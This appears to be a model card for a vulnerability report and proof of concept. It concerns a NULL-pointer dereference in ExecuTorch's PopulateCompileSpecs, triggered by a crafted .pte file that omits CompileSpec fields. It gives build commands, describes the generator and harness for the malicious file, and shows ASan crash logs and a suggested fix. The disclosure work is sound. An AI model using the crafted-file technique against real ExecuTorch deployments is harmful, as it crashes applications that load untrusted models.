--- license: other tags: - security - vulnerability - executorch - model-file --- # ExecuTorch `.pte` `CompileSpec` NULL-pointer dereference (CWE-476) — verified with a real crash **Status:** gated, private security research PoC. Access requests reviewed manually. This is a research PoC for the huntr Model File Format Vulnerability program. All testing was performed locally (local files, no network, no live host). ## Summary `BackendDelegate::PopulateCompileSpecs()` in `runtime/executor/method.cpp` (pytorch/executorch) dereferences the FlatBuffers accessors for the `CompileSpec.key` and `CompileSpec.value` fields without checking them for `nullptr`. Both fields are declared as **optional** (non-`(required)`) in `schema/program.fbs`, so a structurally valid `.pte` file is free to omit either or both of them for any `CompileSpec` entry attached to a delegate. Loading such a file crashes the process with a NULL-pointer dereference (SEGV) inside `Program::load_method()` — i.e. simply *loading* an untrusted model that names any registered backend is enough; no inference call is required, and the crash does not depend on which real backend is present. This was independently verified today by cloning and building the actual, current upstream `pytorch/executorch` `main` branch, generating a minimal crafted `.pte` file with an omitted `CompileSpec.value`, and driving it through the real, unmodified `Program::load()` → `Program::load_method()` → `Method::init()` → `BackendDelegate::Init()` → `PopulateCompileSpecs()` call chain under AddressSanitizer. The crash reproduces exactly as predicted. * Target: `pytorch/executorch` * Commit verified against: `a6d812a082df57898b8608f56c867140cc9da32c` (`main`, authored 2026-07-10 — the tip of the repo at verification time, fetched fresh 2026-07-11) * Vulnerable file: `runtime/executor/method.cpp` * Vulnerable function: `BackendDelegate::PopulateCompileSpecs()` * Crash site: `runtime/executor/method.cpp:185` (`compile_spec_in_program->value()->size()`); the sibling access at `method.cpp:181` (`compile_spec_in_program->key()->c_str()`) is an equally-unchecked NULL deref for the `key`-omitted case. * Schema: `schema/program.fbs`, `table CompileSpec { key: string; value: [ubyte]; }` — neither field carries the `(required)` attribute. * Reached via the public loader API: `Program::load()` + `Program::load_method()` (the two calls any ExecuTorch embedder makes to load a `.pte` file). ## Root cause ```cpp // runtime/executor/method.cpp, BackendDelegate::PopulateCompileSpecs() for (size_t j = 0; j < number_of_compile_specs; j++) { auto compile_spec_in_program = compile_specs_in_program->Get(j); compile_specs_list[j].key = compile_spec_in_program->key()->c_str(); // L181 compile_specs_list[j].value = { /*buffer*/ static_cast( const_cast(compile_spec_in_program->value()->Data())), // L184 /*nbytes*/ compile_spec_in_program->value()->size(), // L185 }; } ``` ``` // schema/program.fbs table CompileSpec { key: string; // like max_value -- NOT (required) value: [ubyte]; // like 4, ... -- NOT (required) } ``` Because `key`/`value` are optional flatbuffer fields, an absent field simply makes the generated accessor (`key()` / `value()`) return `nullptr` — this is not a malformed/corrupt flatbuffer, it is well-formed per the schema. Neither accessor's result is null-checked before being dereferenced (`->c_str()`, `->Data()`, `->size()`), so `Method::init()` SEGVs while initializing any delegate that carries such a `CompileSpec`. `PopulateCompileSpecs()` runs for every `BackendDelegate` entry in a program's `ExecutionPlan.delegates`, for any backend ID the runtime has registered (`BackendDelegate::Init()`, `method.cpp`), so this is reachable with any real backend (XNNPACK, CoreML, Vulkan, a custom backend, …) as long as the crafted delegate's `id` string matches one that's linked into the runtime. ## Why full FlatBuffers verification does not catch this ExecuTorch supports two load-time verification modes, `Program::Verification::Minimal` (default) and `Program::Verification::InternalConsistency` (runs the full `flatbuffers::Verifier` over the buffer). **Both were tested and both crash identically** (see `asan_crash_minimal.txt` and `asan_crash_internalconsistency.txt`) — because an absent *optional* field is, by definition, something the FlatBuffers Verifier accepts as valid. This is a semantic/logic bug (CWE-476, missing null check), not a verification-bypass or malformed-buffer bug, so "run the verifier" is not a sufficient fix. ## Distinctness This is a different function, different file region, and different bug class from other already-reported/already-filed ExecuTorch `.pte` issues in this operation's backlog: * Not the XNNPACK delegate constant-data-size-vs-shape heap-overflow (`backends/xnnpack/runtime/XNNCompiler.cpp`, filed 2026-07-09) — that is an OOB **read** (CWE-125) in a completely different backend-specific parser. * Not the ExecuTorch `min_verify`/`Operator.name` OOB read fixed under `Minimal` verification only — this bug reproduces identically under **full** `InternalConsistency` verification (see above), so it is not the "skip the Verifier" bug class at all. * Not CVE-2025-30402 (`method_meta.cpp::calculate_nbytes` integer overflow, already fixed upstream) — unrelated function, unrelated file. * Not CVE-2025-54950 (missing argument-count validation in `kernels/prim_ops/*`) — unrelated file, unrelated bug shape. * The companion `FlatTensorDataMap`/`.ptd` `TensorLayout` null-deref (`extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout()`, a structurally analogous "optional flatbuffer field dereferenced without a null check" bug in a different file/table/API) was also confirmed present in this same commit during this research pass, but is reported separately/held back to keep this submission to one crash chain; see "Also observed" below. ## Reproduction ### 1. Build the ExecuTorch core runtime + data loader under ASan ```sh git clone --depth 1 https://github.com/pytorch/executorch.git cd executorch git submodule update --init --depth 1 \ third-party/flatbuffers third-party/json third-party/gflags \ third-party/flatcc backends/xnnpack/third-party/FXdiv cmake -S . -B build -DCMAKE_BUILD_TYPE=Debug \ -DEXECUTORCH_BUILD_XNNPACK=OFF \ -DEXECUTORCH_BUILD_PTHREADPOOL=OFF \ -DEXECUTORCH_BUILD_CPUINFO=OFF \ -DEXECUTORCH_BUILD_EXTENSION_DATA_LOADER=ON \ -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O0 -fno-omit-frame-pointer" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" cmake --build build --target executorch extension_data_loader -j ``` ### 2. Build the crafted-`.pte` generator and emit `malicious.pte` ```sh g++ -std=c++17 build_pte.cpp -o build_pte \ -Ibuild/schema/include -I. -Ithird-party/flatbuffers/include ./build_pte malicious.pte ``` `build_pte.cpp` emits a minimal, valid Program: one `ExecutionPlan` named `"forward"` with one `BackendDelegate{id="TESTBACKEND"}` carrying one `CompileSpec{}` (both `key` and `value` omitted). ### 3. Build and run the loader harness under ASan ```sh g++ -std=c++17 -DC10_USING_CUSTOM_GENERATED_MACROS \ -fsanitize=address -g -O0 -fno-omit-frame-pointer harness.cpp -o harness \ -I. -Iruntime/core/portable_type/c10 -Ibuild/include -Ibuild/schema/include \ -Ithird-party/flatbuffers/include \ build/extension/data_loader/libextension_data_loader.a \ build/libexecutorch.a build/libexecutorch_core.a ./harness malicious.pte ``` `harness.cpp` registers a trivial always-available "TESTBACKEND" `BackendInterface` (so the delegate-init loop in `Method::init()` is actually entered), then calls the real, unmodified `FileDataLoader::from()` → `Program::load()` (default `Minimal` verification) → `Program::load_method("forward", ...)`. `harness_verify.cpp` is identical except it calls `Program::load()` with `Program::Verification::InternalConsistency`, to prove the crash survives full flatbuffers verification. ## Result (real captured output) ### Default (`Minimal`) verification — `asan_crash_minimal.txt` ``` [harness] Program::load() ... [harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)... AddressSanitizer:DEADLYSIGNAL ================================================================= ==1715711==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x557d3a175607 bp 0x7fffc2d5dc40 sp 0x7fffc2d5dc30 T0) ==1715711==The signal is caused by a READ memory access. ==1715711==Hint: address points to the zero page. #0 0x557d3a175607 in flatbuffers::Vector::size() const .../flatbuffers/vector.h:164 #1 0x557d3a172e4b in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...) #2 0x557d3a17264a in executorch::runtime::BackendDelegate::Init(...) #3 0x557d3a164b4c in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971 #4 0x557d3a163e15 in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862 #5 0x557d3a18298a in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399 #6 0x557d3a158c8f in main poc/harness.cpp:86 SUMMARY: AddressSanitizer: SEGV .../flatbuffers/vector.h:164 in flatbuffers::Vector::size() const ==1715711==ABORTING ``` ### Full (`InternalConsistency`) verification — `asan_crash_internalconsistency.txt` Identical SEGV, same crash site, same call chain (only the binary's ASLR addresses/PIDs differ) — proving the flatbuffers `Verifier` does not, and structurally cannot, catch this: ``` ==1717177==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 ... #0 ... in flatbuffers::Vector::size() const .../flatbuffers/vector.h:164 #1 ... in executorch::runtime::BackendDelegate::PopulateCompileSpecs(...) #2 ... in executorch::runtime::BackendDelegate::Init(...) #3 ... in executorch::runtime::Method::init(...) .../runtime/executor/method.cpp:971 #4 ... in executorch::runtime::Method::load(...) .../runtime/executor/method.cpp:862 #5 ... in executorch::runtime::Program::load_method(...) .../runtime/executor/program.cpp:399 ==1717177==ABORTING ``` ### Negative control — `negative_control_output.txt` (`build_pte_benign.cpp` / `benign.pte`) Same harness, same code path, but `CompileSpec{key="max_value", value=[4,0,0,0]}` (both fields present, well-formed). `PopulateCompileSpecs` now completes without crashing; the process only fails later, for an unrelated and expected reason (the minimal test program has no `Chain`s): ``` [harness] Program::load() ... [harness] Program::load() OK. Loading method "forward" (this is expected to crash inside PopulateCompileSpecs)... E 00:00:00.000458 executorch:method.cpp:986] No chains load_method returned error (no crash): 0x23 EXIT:2 ``` This confirms the SEGV is caused specifically by the omitted `CompileSpec` fields, not by any other aspect of the minimal test program or harness. ## Impact Loading an untrusted/downloaded `.pte` model file that contains a delegate (any backend ID the host application has registered) with a `CompileSpec` missing its `key` and/or `value` field crashes the ExecuTorch runtime with a NULL-pointer-dereference SEGV during model *load* — before any inference is run, and regardless of which verification mode the embedding application selects. This is a straightforward denial-of-service against any process that loads attacker-supplied or attacker-modified `.pte` files (the explicit threat model of the huntr Model File Format program). ## Also observed (not the subject of this report) While verifying this bug, the structurally analogous null-deref in `extension/flat_tensor/flat_tensor_data_map.cpp::create_tensor_layout()` (`TensorLayout.sizes`/`dim_order` optional fields dereferenced without a null check, reached via `FlatTensorDataMap::get_tensor_layout()`) was confirmed still present in source at the same commit (`a6d812a082df57898b8608f56c867140cc9da32c`) by code inspection, but was **not** independently re-verified with a fresh execution/crash capture in this pass (time/scope), so it is intentionally not claimed as verified here. ## Suggested fix In `PopulateCompileSpecs()`, check `compile_spec_in_program->key() != nullptr` and `compile_spec_in_program->value() != nullptr` before dereferencing (treat an absent `key` as an empty string and an absent `value` as a zero-length buffer, or reject the program with `Error::InvalidProgram`), matching the null-safety already applied to most other optional-field accesses elsewhere in `method.cpp`. ## Files * `build_pte.cpp` — generates `malicious.pte` (the crash-triggering file) using the real, unmodified flatc-generated `program_generated.h`. * `malicious.pte` — the crafted model file (272 bytes). One `BackendDelegate` (`id="TESTBACKEND"`), one `CompileSpec` with neither `key` nor `value`. * `build_pte_benign.cpp` / `benign.pte` — negative control (well-formed `CompileSpec`). * `harness.cpp` — loads a `.pte` via the real runtime under default (`Minimal`) verification, driving `Program::load` → `Program::load_method` → `Method::init` → `BackendDelegate::Init` → `PopulateCompileSpecs`. Registers a minimal no-op available backend `"TESTBACKEND"` so the delegate-init loop is entered. * `harness_verify.cpp` — identical, but loads with `Program::Verification::InternalConsistency` (full flatbuffers `Verifier`). Proves the crash still occurs under full verification. * `asan_crash_minimal.txt` — captured ASan SEGV output (`Minimal` verification, real run of `harness.cpp`). * `asan_crash_internalconsistency.txt` — captured ASan SEGV output (`InternalConsistency` verification, real run of `harness_verify.cpp`). * `negative_control_output.txt` — captured output of `harness.cpp` against `benign.pte`, showing no crash. ## Source availability 100% open source. `github.com/pytorch/executorch` (BSD-3-Clause). Vulnerable function: `runtime/executor/method.cpp`, `BackendDelegate::PopulateCompileSpecs`.